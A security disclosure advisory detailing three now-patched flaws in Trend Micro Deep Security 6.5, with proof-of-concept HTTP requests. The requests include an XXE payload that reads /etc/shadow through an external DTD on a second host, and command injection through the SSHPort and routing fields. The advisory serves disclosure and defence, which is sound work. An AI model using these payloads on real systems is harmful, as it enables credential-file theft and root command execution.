SSD Advisory – Trend Micro Deep Security Multiple Vulnerabilities

blogs.securiteam.com/index.php/archives/3050

SSD / Maor Schwartz

May 25, 2017

Vulnerabilities Summary

The following advisory describes three (3) vulnerabilities found in Trend Micro Deep Security version 6.5.

“The Trend Micro Hybrid Cloud Security solution, powered by XGen security, delivers a blend of cross-generational threat defense techniques that have been optimized to protect physical, virtual, and cloud workloads. It features Trend Micro Deep Security, the market share leader in server security, protecting millions of physical, virtual, and cloud servers around the world.

Deep Security offers multiple layers of security that protect your servers as they move—across the data center, into the cloud, or in a hybrid deployment.”

The vulnerabilities found in Trend Micro Deep Security:

1. XML External Entity (XXE) that lead to arbitrary file disclosure
2. Local Privilege Escalation
3. Remote code execution

Credit

An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Vendor response

Trend Micro has released patches to address these vulnerabilities and issued the following advisory: https://success.trendmicro.com/solution/1117412

Vulnerabilities Details

XML External Entity (XXE) that lead to arbitrary file disclosure

Trend Micro Security Manager uses an outdated REST API (resteasy-jaxrs-2.3.5.Final.jar). The library suffers from an XXE vulnerability that can be exploited using Parameter Entities.

Proof of Concept

By sending the following POST request, an attacker can gain the victims “*/etc/shadow*”

```
POST /rest/authentication/login/sso HTTP/1.1
Host: 192.168.18.129:4119
Content-Type: application/xml
Content-Length: 360

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///etc/shadow">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.18.130/combine.dtd">
%dtd;

]>

<dsCredentials>
<password>P@ssw0rd</password>
<tenantName></tenantName>
<userName>&all;</userName>
</dsCredentials>
```

Local Privilege Escalation

Admin users have access via the web interface to the SSH configuration settings. The port settings are not properly handled and allow injecting shell commands as the root user.

```
POST /SSHConfig.jsp HTTP/1.1
Host: 192.168.254.176:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://192.168.254.176:8443/SSHConfig.jsp
Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&needSSHConfigure=yes&SSHSt
atus=enable&SSHPort=22&op=save&cbSSHStatus=enable&btSSHPort=221
```

In the above code, the *SSHPort=* parameter does not sanitize the incoming data. An attacker can use this to inject commands that will run as root on the victim’s machine.

Proof of Concept

The following POST request will call the *sleep* command with a value of 60 seconds:

```
POST /SSHConfig.jsp HTTP/1.1
Host: 192.168.254.176:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://192.168.254.176:8443/SSHConfig.jsp
Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 150

CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&needSSHConfigure=yes&SSHSt
atus=enable&SSHPort=%60sleep%2010%60&op=save&cbSSHStatus=enable&btSSHPort=221
```

Remote code execution

Trend Micro Deep Security has a default user with *sudo* privileges named *iscan*. This user is locked out but it can access certain elevated functions.

```
POST /servlet/com.trend.iwss.gui.servlet.ManageSRouteSettings?action=add HTTP/1.1
Host: 192.168.254.176:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://192.168.254.176:8443/staticRouteEdit.jsp?action=add
Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 259

CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&op=sroutemanage&fromurl=%2
FstaticRoutes.jsp&failoverurl=%2FstaticRouteEdit.jsp&port=&oldnetid=&oldrouter=&oldnetmask=&
oldport=&netid=192.168.1.0&netmask=255.255.255.0&router=192.168.1.1&interface_vlanid_sel=eth1
```

In the above POST request, we can see the page has several parameters that are vulnerable and that we can inject malicious parameters through them: netid, netmask, router, and interface_vlanid_sel

Proof of Concept

```
POST /servlet/com.trend.iwss.gui.servlet.ManageSRouteSettings?action=add HTTP/1.1
Host: 192.168.254.176:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://192.168.254.176:8443/staticRouteEdit.jsp?action=add
Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 259

CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&op=sroutemanage&fromurl=%2
FstaticRoutes.jsp&failoverurl=%2FstaticRouteEdit.jsp&port=&oldnetid=&oldrouter=&oldnetmask=&
oldport=&netid=192.168.1.0%7c%7c%60ping%20-
c%2021%20127.0.0.1%60%20%23'%7c%7c%60ping%20-
c%2021%20127.0.0.1%60%20%23%5c%22%20&netmask=255.255.255.0&router=192.168.1.1&inte
rface_vlanid_sel=eth1
```